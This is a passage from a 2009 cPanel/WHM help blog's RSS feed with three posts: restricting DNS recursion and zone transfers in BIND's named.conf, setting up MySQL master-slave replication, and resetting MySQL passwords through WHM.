		<guid isPermaLink="false">http://www.whmhelp.com/?p=53</guid>
		<description><![CDATA[For who have recently notice that now DNSreport do verify if your DNS is recursive lookup or not, here is the tip on how to set it up. open you named.conf and add before options { the follow lines: acl &#8220;trusted&#8221; { xxx.xxx.xxx.xxx; yyy.yyy.yyy.yyy; }; where xxx.xxx.xxx.xxx is your ip address same for yyy.yyy.yyy.yyy. for [...]]]></description>
			<content:encoded><![CDATA[<p>For who have recently notice that now DNSreport do verify if your DNS is recursive lookup or not, here is the tip on how to set it up.</p>
<p>open you named.conf and add before options { the follow lines:</p>
<p>acl &#8220;trusted&#8221; {<br />
xxx.xxx.xxx.xxx;<br />
yyy.yyy.yyy.yyy;<br />
};</p>
<p>where xxx.xxx.xxx.xxx is your ip address same for yyy.yyy.yyy.yyy.<br />
for cpanel users, you can find yours ips in the follow file: /etc/nameserverips</p>
<p>after that, inside the options add after the line &#8220;// query-source address * port 53;&#8221; the follow:<br />
allow-recursion { trusted; };<br />
allow-notify { trusted; };<br />
allow-transfer { trusted; };</p>
<p>also uncomment the line &#8220;// query-source address * port 53;&#8221; &#8220;to query-source address * port 53;&#8221; with out the &#8221; (double-quotes).</p>
<p>restart your service.</p>
<p>Verify again your status with DNSreport.</p>
<p>Observation: you can also set up a version line it should be like:<br />
version &#8220;Oh come on why do you want to know witch version my DNS server is ?&#8221;;</p>
<p>this line can be add iside your named.conf right after the line query-source address * port 53; or inside options.</p>
<p>Source: eth0.us<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.whmhelp.com/2009/10/expired-license-checklist.html" rel="bookmark" title="October 7, 2009">cPanel Expired License Checklist</a></li>
<li><a href="http://www.whmhelp.com/2009/11/whm-setup-private-nameservers.html" rel="bookmark" title="November 1, 2009">WHM &#8211; Setup private nameservers</a></li>
<li><a href="http://www.whmhelp.com/2009/10/official-cpanelwhm-newbie-guide.html" rel="bookmark" title="October 8, 2009">Official cPanel/WHM Newbie Guide</a></li>
<li><a href="http://www.whmhelp.com/2009/10/cpanel-exim-outgoing-mail-error-whm-unable-bind-outgoing-smtp-call-2031042235.html" rel="bookmark" title="October 6, 2009">cPanel EXIM outgoing mail error in WHM: unable to bind outgoing SMTP call to 203.104.22.35</a></li>
<li><a href="http://www.whmhelp.com/2010/03/suphp-openbasedir.html" rel="bookmark" title="March 19, 2010">suPHP and open_basedir</a></li>
</ul>
<p><!-- Similar Posts took 11.212 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2009/10/configure-dns-recursive-in-cpanel.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setup MySQL Replication</title>
		<link>http://www.whmhelp.com/2009/10/setup-mysql-replication.html</link>
		<comments>http://www.whmhelp.com/2009/10/setup-mysql-replication.html#comments</comments>
		<pubDate>Fri, 16 Oct 2009 18:56:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[MySQL Replication]]></category>
		<category><![CDATA[mysql replication server]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=50</guid>
		<description><![CDATA[MySQL Replication This guide is designed to help do the initial setup on a MySQL cluster in which multiple MySQL servers all serve the same content through the use of the replication function. We have successfully deployed this solution for multiple clients and it is a very good option for those needing a more powerful [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL Replication</p>
<p>This guide is designed to help do the initial setup on a MySQL cluster in which multiple MySQL servers all serve the same content through the use of the replication function. We have successfully deployed this solution for multiple clients and it is a very good option for those needing a more powerful mysql solution. Carlos (theuruguayan) actually created this document so please direct any questions to <a href="mailto:carlos@totalserversolutions.com">carlos@totalserversolutions.com</a> .</p>
<p>Be sure your mysql servers are running the same version before starting this guide, yes, is possible to have a few combinations of master-slave versions, for more information about this you can check:</p>
<p>http://dev.mysql.com/doc/refman/4.1/en/replication-compatibility.html</p>
<p>1 &#8211; Write down which is the setup you are going to do, which server is master and which server/s will be slave.</p>
<p>2 &#8211; Select your username/password for replications accounts. You can have one per server if you want, or one for all the mysql network.</p>
<p>3 &#8211; mysql&gt; GRANT REPLICATION SLAVE ON *.*</p>
<p>TO &#8216;USERNAME&#8217;@'IPFROMTHESLAVE&#8217; IDENTIFIED BY &#8216;PASSWORD&#8217;;</p>
<p>Username: mysql username<br />
IPfromtheslave: ip from the mysql server that will be the one replicating the master db.<br />
PASSWORD: the password for the replicator account.</p>
<p>Just a few side notes.</p>
<p>a) None of the passwords need to be root passwords.<br />
b) Is not recomend to use only 1 user for replication in all the network.</p>
<p>4) In the master server you need to Flush all the tables, this will prevent clients from writing the db so it will keep without change while we copy over.</p>
<p>mysql&gt; FLUSH TABLES WITH READ LOCK;</p>
<p>5) Make sure that the [mysqld] section of the my.cnf file on the master host includes a log-bin option. The section should also have a server-id=master_id option, where master_id must be a positive integer value from 1 to 232 – 1. For example:</p>
<p>[mysqld]</p>
<p>log-bin=mysql-bin</p>
<p>server-id=1</p>
<p>6) Login using another ssh client to the master server and lets create a snapshot.</p>
<p>mkdir /home/slave_db<br />
rsync -vrplogDtH /var/lib/mysql /home/slave_db</p>
<p>You may not want to replicate the mysql  database if the slave server has a different set of user accounts from those that exist on the master. In this case, you should exclude it from the archive. When the rsync is finish, just login inside mysql and type:</p>
<p>SHOW MASTER STATUS;</p>
<p>Save this info in a txt file inside the slave_db folder that we will use them laster.  After you finish doing this, you can reenable the activity on the master: UNLOCK TABLES;</p>
<p>7)  Stop the server that is to be used as a slave server and add the following to its my.cnf file:</p>
<p>[mysqld]</p>
<p>server-id=slave_id</p>
<p>The slave_id value, like the master_id value, must be a positive integer value from 1 to 232 – 1. In addition, it is very important that the ID of the slave be different from the ID of the master. For example:</p>
<p>[mysqld]</p>
<p>server-id=2</p>
<p>Remember that server-id must be unique in all the mysql network.</p>
<p> <img src='http://www.whmhelp.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Copy the files over from the slave_db folder to the remote location. You can do this doing the following command:</p>
<p>rsync -e ssh -avz /home/slave_db/ root@REMOTESERVER:/var/lib/mysql</p>
<p>Check that all the permitions and correctly in the /var/lib/mysql folder.Remember files must be own by mysql:mysql</p>
<p>9) Start Mysql and enter to it, write the following changing the values that are needed:</p>
<p>mysql&gt; CHANGE MASTER TO</p>
<p>-&gt;     MASTER_HOST=&#8217;master_host_name&#8217;,</p>
<p>-&gt;     MASTER_USER=&#8217;replication_user_name&#8217;,</p>
<p>-&gt;     MASTER_PASSWORD=&#8217;replication_password&#8217;,</p>
<p>-&gt;     MASTER_LOG_FILE=&#8217;recorded_log_file_name&#8217;,</p>
<p>-&gt;     MASTER_LOG_POS=recorded_log_position;</p>
<p>10) type: START SLAVE;<strong>Similar Posts:</strong>
<ul class="similar-posts">None Found
</ul>
<p><!-- Similar Posts took 4.783 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2009/10/setup-mysql-replication.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WHM &#8211; Reset MySQL db password</title>
		<link>http://www.whmhelp.com/2009/10/whm-reset-mysql-db-password.html</link>
		<comments>http://www.whmhelp.com/2009/10/whm-reset-mysql-db-password.html#comments</comments>
		<pubDate>Fri, 16 Oct 2009 13:43:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[cPanel and WHM]]></category>
		<category><![CDATA[cpanel mysql password reset]]></category>
		<category><![CDATA[cpanel mysql reset]]></category>
		<category><![CDATA[mysql reset]]></category>
		<category><![CDATA[whm]]></category>
		<category><![CDATA[whm mysql db reset]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=45</guid>
		<description><![CDATA[WHM &#8211; Reset MySQL db password  &#8212; How to reset mysql db password via WHM ? To reset the MySQL password via WHM, simply log into WHM and select either: 1) &#8220;MySQL Root Password&#8221; (and change it) or 2) &#8220;Change a User or Database Password&#8221; (to change a specific password)Similar Posts: cPanel &#8211; Reset MySQL [...]]]></description>
			<content:encoded><![CDATA[<p><strong>WHM &#8211; Reset MySQL db password  &#8212; How to reset mysql db password via </strong><strong>WHM </strong><strong>?</strong></p>
<p>To reset the MySQL password via WHM, simply log into WHM and select either:</p>
<p>1) &#8220;MySQL Root Password&#8221; (and change it) or<br />
2) &#8220;Change a User or Database Password&#8221; (to change a specific password)<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.whmhelp.com/2009/10/cpanel-reset-mysql-db-password.html" rel="bookmark" title="October 15, 2009">cPanel &#8211; Reset MySQL db password</a></li>
<li><a href="http://www.whmhelp.com/2009/10/backend-scripts-directory-functions-explained.html" rel="bookmark" title="October 8, 2009">cPanel WHM Scripts directory explained &#8211; Backend WHM Scripts to make administrative functions easier</a></li>
<li><a href="http://www.whmhelp.com/2009/10/official-cpanelwhm-newbie-guide.html" rel="bookmark" title="October 8, 2009">Official cPanel/WHM Newbie Guide</a></li>
<li><a href="http://www.whmhelp.com/2009/11/whm-setup-private-nameservers.html" rel="bookmark" title="November 1, 2009">WHM &#8211; Setup private nameservers</a></li>
<li><a href="http://www.whmhelp.com/2009/10/installing-csf-firewall.html" rel="bookmark" title="October 5, 2009">Installing CSF Firewall</a></li>
</ul>
<p><!-- Similar Posts took 10.926 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2009/10/whm-reset-mysql-db-password.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
